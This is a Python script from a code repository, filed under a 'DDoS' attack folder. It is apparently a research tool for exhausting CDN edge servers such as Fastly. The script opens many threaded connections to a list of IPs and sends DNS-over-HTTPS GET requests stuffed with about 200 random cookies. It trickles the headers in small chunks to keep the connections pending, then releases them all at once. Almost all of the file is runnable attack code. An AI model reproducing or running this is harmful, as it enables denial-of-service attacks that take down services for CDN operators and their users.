summaryrefslogtreecommitdiff
path: root/att script/6_dot_DDoS/att_pending_cookie.py
blob: ce3e4de667aa0535ed4ccd8e64df443e72418c2b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import argparse
import http.client
import asyncio
import base64
import random
import secrets
import string
from collections import Counter
import sys
import time
import requests
import dns.message
import httpx
import gzip
import io
import pandas as pd
import tqdm
from concurrent.futures import ThreadPoolExecutor
import threading
from dns.message import make_query

def ge_cookie():
    cookie = ""
    for i in range(200):
        cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\
                  "="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; "
    cookie = cookie[:-2]
    #print(sys.getsizeof(cookie)/1024)
    return cookie

def send_request(event,url,t,latency,stime):
    cookie = ge_cookie()
    headers = {"content-type": "application/dns-message",
               "accept": "application/dns-message",
               "Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0",
               "Cookie":cookie}
    message = dns.message.make_query(base64.b64encode(url.encode("utf-8")).decode("utf-8") +
                                     ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
    message.flags |= dns.flags.RD
    dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=")
    # time.sleep(t*2)
    conn = http.client.HTTPConnection(url, port=80)


    #time.sleep(3)
    body = ','.join([f'{name}: {value}' for name, value in headers.items()])
    request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n"
    conn.send(request_line.encode())
    headers0 = {'host': 'www.doeresearch.site'}
    headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()])
    conn.send(headers0.encode())

    #time.sleep(10)
    #body = str(make_query(qname="baidu.com", rdtype="A", want_dnssec=False))
    #print(body)
    #print(len(body))
    chunk_size = 20 # 每个块的大小
    for i in range(0, len(body), chunk_size):
        #print(i,'------------------')
        chunk = body[i:i + chunk_size]
        conn.send(f'{chunk}'.encode())
        start_time = time.perf_counter()
        while time.perf_counter() - start_time < 0.002:
            pass
        # print('P')
    conn.send(b'\r\n')
    # 发送结束标志
    #print(url, t, 'pending')
    desired_time = latency / 2000  # 将毫秒转换为秒
    #conn.close()
    #time.sleep(10)
    event.wait()
    # start_time = time.perf_counter()
    # while time.perf_counter() - start_time < desired_time:
    #     pass
    #conn.send(b'0\r\n\r\n')
    conn.send(b'\r\n')
    # Get the response
    #response = conn.getresponse()
    # print(response.status, response.reason)
    #print(response.read())
    # print(dns.message.from_wire(response.read()))

    #conn.close()

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-stime', '--stime')
    parser.add_argument('-round', '--round',default=10)
    parser.add_argument('-wait', '--wait',default=180)
    args = parser.parse_args()


    path = '/root/Nora/cdn/'
    #path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/'
    df = pd.read_csv(path+'fastly_att.csv',nrows=64)
    data = df.set_index('ip')['latency'].to_dict()
    event = threading.Event()
    s_time = time.time()
    #stime = time.perf_counter()
    stime = float(args.stime)
    round = int(args.round)
    wait_time = int(args.wait)
    threads = []
    for i in range(round):
        for ip, latency in data.items():
            t = threading.Thread(target=send_request, args=(event,ip, i, latency,stime))
            t.start()
            threads.append(t)
            #time.sleep(latency)
        start_time = time.perf_counter()
        # while time.perf_counter() - start_time < 0.1:
        #     pass
    print('all waiting')
    while time.perf_counter() - stime < wait_time:
        pass
    # 触发事件,同时释放所有线程
    event.set()
    # 等待所有线程完成
    for t in threads:
        t.join()
    print('ATT over:',time.time() - s_time)
    #for i in tqdm.tqdm(range(1000)):
    #send_request("151.101.76.204",0,0,0)